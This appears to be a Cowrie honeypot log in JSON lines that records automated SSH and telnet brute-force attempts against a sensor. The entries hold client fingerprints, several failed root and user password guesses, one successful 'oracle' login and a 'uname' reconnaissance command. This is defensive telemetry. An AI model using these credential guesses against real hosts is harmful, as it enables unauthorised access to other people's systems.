{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:54.559909Z","src_ip":"141.11.88.14","session":"ff593c4a5566","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Bmw_20!_^","message":"login attempt [oracle/Bmw_20!_^] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:55.093168Z","src_ip":"141.11.88.14","session":"ff593c4a5566","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:55.326301Z","src_ip":"141.11.88.14","session":"ff593c4a5566","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:55.329613Z","src_ip":"141.11.88.14","session":"ff593c4a5566","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:55.425648Z","src_ip":"141.11.88.14","session":"ff593c4a5566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:55.430850Z","src_ip":"141.11.88.14","session":"ff593c4a5566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57370,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b434411f823","protocol":"ssh","message":"New connection: 141.11.88.14:57370 (10.17.0.5:22) [session: 0b434411f823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:01.337215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:01.396509Z","src_ip":"141.11.88.14","session":"0b434411f823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:01.470000Z","src_ip":"141.11.88.14","session":"0b434411f823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flow","password":"flow","message":"login attempt [flow/flow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:01.871357Z","src_ip":"141.11.88.14","session":"0b434411f823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:03.205149Z","src_ip":"141.11.88.14","session":"0b434411f823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47850,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a853be9acf7","protocol":"ssh","message":"New connection: 141.11.88.14:47850 (10.17.0.5:22) [session: 3a853be9acf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:08.288935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:08.296997Z","src_ip":"141.11.88.14","session":"3a853be9acf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:08.400429Z","src_ip":"141.11.88.14","session":"3a853be9acf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:08.723440Z","src_ip":"141.11.88.14","session":"3a853be9acf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:09.950322Z","src_ip":"141.11.88.14","session":"3a853be9acf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52676,"dst_ip":"159.203.135.109","dst_port":23,"session":"25aace311436","protocol":"telnet","message":"New connection: 172.81.62.90:52676 (159.203.135.109:23) [session: 25aace311436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:10.305343Z"}
{"eventid":"cowrie.session.closed","duration":33.50819683074951,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:11.259913Z","src_ip":"172.81.62.90","session":"7c3a7d6e81d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47880,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8cfe775ab13","protocol":"ssh","message":"New connection: 141.11.88.14:47880 (10.17.0.5:22) [session: c8cfe775ab13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:15.337795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:15.394315Z","src_ip":"141.11.88.14","session":"c8cfe775ab13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:15.481187Z","src_ip":"141.11.88.14","session":"c8cfe775ab13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:16.438084Z","src_ip":"141.11.88.14","session":"c8cfe775ab13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.12168741226196,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:16.943625Z","src_ip":"128.199.8.54","session":"e6be6ab164e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:17.559739Z","src_ip":"141.11.88.14","session":"c8cfe775ab13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60600,"dst_ip":"10.17.0.5","dst_port":22,"session":"1757f60b8df2","protocol":"ssh","message":"New connection: 141.11.88.14:60600 (10.17.0.5:22) [session: 1757f60b8df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:22.549830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:22.597558Z","src_ip":"141.11.88.14","session":"1757f60b8df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:22.666642Z","src_ip":"141.11.88.14","session":"1757f60b8df2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:23.034309Z","src_ip":"141.11.88.14","session":"1757f60b8df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:24.147579Z","src_ip":"141.11.88.14","session":"1757f60b8df2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":29796,"dst_ip":"159.203.135.109","dst_port":22,"session":"2928bfc5fa2f","protocol":"ssh","message":"New connection: 38.93.206.2:29796 (159.203.135.109:22) [session: 2928bfc5fa2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:29.537523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:29.542902Z","src_ip":"38.93.206.2","session":"2928bfc5fa2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:29.594153Z","src_ip":"38.93.206.2","session":"2928bfc5fa2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":65320,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a5c1f8fd85","protocol":"ssh","message":"New connection: 141.11.88.14:65320 (10.17.0.5:22) [session: b9a5c1f8fd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:29.739952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:29.746248Z","src_ip":"141.11.88.14","session":"b9a5c1f8fd85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:29.757041Z","src_ip":"38.93.206.2","session":"2928bfc5fa2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:29.824062Z","src_ip":"141.11.88.14","session":"b9a5c1f8fd85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:30.291057Z","src_ip":"141.11.88.14","session":"b9a5c1f8fd85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:30.810484Z","src_ip":"38.93.206.2","session":"2928bfc5fa2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:31.486535Z","src_ip":"141.11.88.14","session":"b9a5c1f8fd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":65342,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab2154087566","protocol":"ssh","message":"New connection: 141.11.88.14:65342 (10.17.0.5:22) [session: ab2154087566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:36.950056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:37.097953Z","src_ip":"141.11.88.14","session":"ab2154087566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:37.101029Z","src_ip":"141.11.88.14","session":"ab2154087566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:38.722099Z","src_ip":"141.11.88.14","session":"ab2154087566","protocol":"ssh"}
